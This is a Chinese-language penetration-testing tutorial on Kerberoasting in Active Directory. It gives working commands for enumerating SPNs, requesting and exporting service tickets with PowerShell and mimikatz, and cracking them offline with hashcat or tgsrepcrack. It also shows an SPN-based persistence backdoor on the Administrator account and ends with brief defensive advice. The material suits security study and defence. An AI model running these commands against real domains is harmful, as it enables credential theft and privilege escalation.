域渗透——Kerberoasting
0x00 前言
Kerberoasting 是域渗透中经常使用的一项技术,本文将参考公开的资料,结合自己的理解,详细介绍 Kerberoasting 的原理和实现,以及一个后门利用的方法,最后给出防御建议。
参考资料:
- http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
- http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/
- https://malicious.link/post/2016/kerberoast-pt1/
- https://malicious.link/post/2016/kerberoast-pt2/
- https://malicious.link/post/2016/kerberoast-pt3/
- https://adsecurity.org/?p=3458
- https://adsecurity.org/?page_id=183
- https://blog.netspi.com/faster-domain-escalation-using-ldap/
- https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
0x01 简介
本文将要介绍以下内容:
- Kerberoasting 相关概念
- Kerberoasting 的原理
- Kerberoasting 的实现
- Kerberoasting 的后门利用
- Kerberoasting 的防御
0x02 基本概念
SPN
官方文档: https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names
全称 Service Principal Names
SPN 是服务器上所运行服务的唯一标识,每个使用 Kerberos 的服务都需要一个 SPN
SPN 分为两种,一种注册在 AD 上机器帐户(Computers) 下,另一种注册在域用户帐户(Users) 下
当一个服务的权限为 Local System
或 Network Service
,则 SPN 注册在机器帐户(Computers) 下
当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户(Users) 下
SPN 的格式
serviceclass/host:port/servicename
说明:
- serviceclass 可以理解为服务的名称,常见的有 www, ldap, SMTP, DNS, HOST 等
- host 有两种形式,FQDN 和 NetBIOS 名,例如 server01.test.com 和 server01
- 如果服务运行在默认端口上,则端口号(port) 可以省略
查询 SPN
对域控制器发起 LDAP 查询,这是正常 kerberos 票据行为的一部分,因此查询 SPN 的操作很难被检测
(1) 使用 SetSPN
Win7 和 Windows Server2008 自带的工具
查看当前域内的所有 SPN:
setspn.exe -q */*
查看 test 域内的所有 SPN:
setspn.exe -T test -q */*
输出结果实例:
CN=DC1,OU=Domain Controllers,DC=test,DC=com
exchangeRFR/DC1
exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com
exchangeMDB/DC1
exchangeAB/DC1
exchangeAB/DC1.test.com
SMTP/DC1
SMTP/DC1.test.com
SmtpSvc/DC1
SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com
ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
DNS/DC1.test.com
GC/DC1.test.com/test.com
RestrictedKrbHost/DC1.test.com
RestrictedKrbHost/DC1
HOST/DC1/TEST
HOST/DC1.test.com/TEST
HOST/DC1
HOST/DC1.test.com
HOST/DC1.test.com/test.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
ldap/DC1/TEST
ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
ldap/DC1.test.com/TEST
ldap/DC1
ldap/DC1.test.com
ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
RestrictedKrbHost/COMPUTER01
HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com
HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
MSSQLSvc/DC1.test.com
以 CN 开头的每一行代表一个帐户,其下的信息是与该帐户相关联的 SPN
对于上面的输出数据,机器帐户(Computers) 为:
- CN=DC1,OU=Domain Controllers,DC=test,DC=com
- CN=COMPUTER01,CN=Computers,DC=test,DC=com
域用户帐户(Users) 为:
- CN=krbtgt,CN=Users,DC=test,DC=com
- CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
注册在域用户帐户(Users) 下的 SPN 有两个: kadmin/changepw
和 MSSQLSvc/DC1.test.com
0x03 Kerberoasting 的原理
1、Kerberos 认证过程
一个简单的 Kerberos 认证过程如下图
- as_request
- as_reply
- tgs_request
- tgs_reply
- ap_request
- ap_reply
对于 4.tgs_reply,用户将会收到由目标服务实例的 NTLM hash 加密生成的 TGS(service ticket),加密算法为 RC4-HMAC
站在利用的角度,当获得这个 TGS 后,我们可以尝试穷举口令,模拟加密过程,生成 TGS 进行比较。如果 TGS 相同,代表口令正确,就能获得目标服务实例的明文口令
2、Windows 系统通过 SPN 查询获得服务和服务实例帐户的对应关系
这里举一个例子:
用户 a 要访问 MySQL 服务的资源,进行到 4.tgs_reply 时,步骤如下:
(1)Domain Controller 查询 MySQL 服务的 SPN
如果该 SPN 注册在机器帐户(Computers) 下,将会查询所有机器帐户(Computers) 的 servicePrincipalName 属性,找到对应的帐户
如果该 SPN 注册在域用户帐户(Users) 下,将会查询所有域用户(Users) 的 servicePrincipalName 属性,找到对应的帐户
(2) 找到对应的帐户后,使用该帐户的 NTLM hash,生成 TGS
3、域内的主机都能查询 SPN
4、域内的任何用户都可以向域内的任何服务请求 TGS
综上,域内的任何一台主机,都能够通过查询 SPN,向域内的所有服务请求 TGS,拿到 TGS 后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users) 的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
因此,高效率的利用思路如下:
- 查询 SPN,找到有价值的 SPN,需要满足以下条件:
- 该 SPN 注册在域用户帐户(Users) 下
- 域用户账户的权限很高
- 请求 TGS
- 导出 TGS
- 暴力破解
0x04 Kerberoasting 的实现方法一
1、获得有价值的 SPN
需要满足以下条件:
- 该 SPN 注册在域用户帐户(Users) 下
- 域用户账户的权限很高
可以选择以下三种方法:
(1) 使用 powershell 模块 Active Directory
注:powershell 模块 Active Directory 需要提前安装,域控制器一般会安装
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
对于未安装 Active Directory 模块的系统,可以通过如下命令导入 Active Directory 模块:
import-module .\Microsoft.ActiveDirectory.Management.dll
Microsoft.ActiveDirectory.Management.dll 在安装 powershell 模块 Active Directory 后生成,我已经提取出来并上传至 github:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
(2) 使用 PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
(3) 使用 kerberoast
- powershell:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
- vbs:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
参数如下:
cscript GetUserSPNs.vbs
2、请求 TGS
(1) 请求指定 TGS
$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
(2) 请求所有 TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
执行后输入 klist
查看内存中的票据,可找到获得的 TGS
3、导出
使用 mimikatz
kerberos::list /export
4、破解
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
./tgsrepcrack.py wordlist.txt test.kirbi
0x05 Kerberoasting 的实现方法二
自动实现,并且不需要 mimikatz,普通用户权限即可,参考资料:http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
代码地址:https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921
使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求 TGS,在返回结果中提取出 TGS,输出的 TGS 可选择 John the Ripper 或 Hashcat 进行破解
实例演示:在域内一台主机上以普通用户权限执行:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
-AdminCount 表示选择高权限的用户
输出结果如下图
只提取出 hash 的参数如下:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
输出结果如下图
使用 hashcat 破解的参数如下:
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
破解结果如下图,成功获得明文口令 MySQLAdmin111!
注:Rubeus 也可以实现 Invoke-Kerberoast 的功能,地址如下:https://github.com/GhostPack/Rubeus
参数如下:
Rubeus.exe kerberoast
0x06 Kerberoasting 的后门利用
在我们取得了 SPN 的修改权限后,可以为指定的域用户添加一个 SPN,这样可以随时获得该域用户的 TGS,经过破解后获得明文口令
例如为域用户 Administrator
添加 SPNVNC/DC1.test.com
,参数如下:
setspn.exe -U -A VNC/DC1.test.com Administrator
如下图
在域内任意一台主机都能获得该 SPN,并且能够使用 Kerberoast 获得 TGS,如下图
再使用 hashcat 破解即可
补充:删除 SPN 的参数如下:
setspn.exe -D VNC/DC1.test.com Administrator
0x07 防御
站在防御的角度,不可能阻止 kerberoast,但可以对有攻击价值的 SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令
管理员可在域内一台主机上使用 Invoke-Kerberoast 检查是否存在危险的 SPN
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
参数:
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
0x08 小结
本文对 Kerberoasting 的原理、方法和防御作了详细介绍,并进行了实例演示。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: 渗透技巧——PPTP 口令的获取与爆破
下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论